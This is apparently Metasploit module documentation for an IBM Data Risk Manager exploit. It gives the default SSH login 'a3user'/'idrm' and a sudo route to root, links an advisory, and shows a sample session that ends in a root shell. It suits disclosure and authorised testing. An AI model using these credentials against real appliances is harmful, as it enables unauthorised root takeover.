## Vulnerable Application

This module abuses a known default password in IBM Data Risk Manager. The 'a3user' has the default password 'idrm' and allows an attacker to log in to the virtual appliance via SSH.
This can be escalated to full root access, as 'a3user' has `sudo` access with the default password.
At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM. Versions <= 2.0.6.1 are confirmed to be vulnerable.

### Vulnerability information
For more information about the vulnerability, check the advisory at:
https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm\_drm/ibm\_drm\_rce.md

### Setup

The application is available to download as a Linux virtual appliance from IBM's website. You need to have a valid IBM contract to be able to do so.

## Verification Steps

Module defaults work very well, you should just need to set `RHOSTS`!

## Scenarios

A successful exploit will look like this:

```
msf exploit(linux/ssh/ibm_drm_a3user) > run
[*] 10.22.22.212:22 - Attempting to login to the IBM Data Risk Manager appliance...
[+] 10.22.22.212:22 - Login Successful (a3user:idrm)
[*] Found shell.
[*] Command shell session 5 opened (10.22.22.1:45489 -> 10.22.22.212:22) at 2020-04-22 12:10:13 +0700
[*] 10.22.22.212:22 - Escalating privileges to root, please wait a few seconds...
[+] 10.22.22.212:22 - Done, enjoy your root shell!
uname -a
Linux idrm-server.ibm.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Tue May 15 18:22:15 EDT 2018 x86_64 x86_64 x86_64 GNU/Linux
id
uid=0(root) gid=0(root) groups=0(root)
```
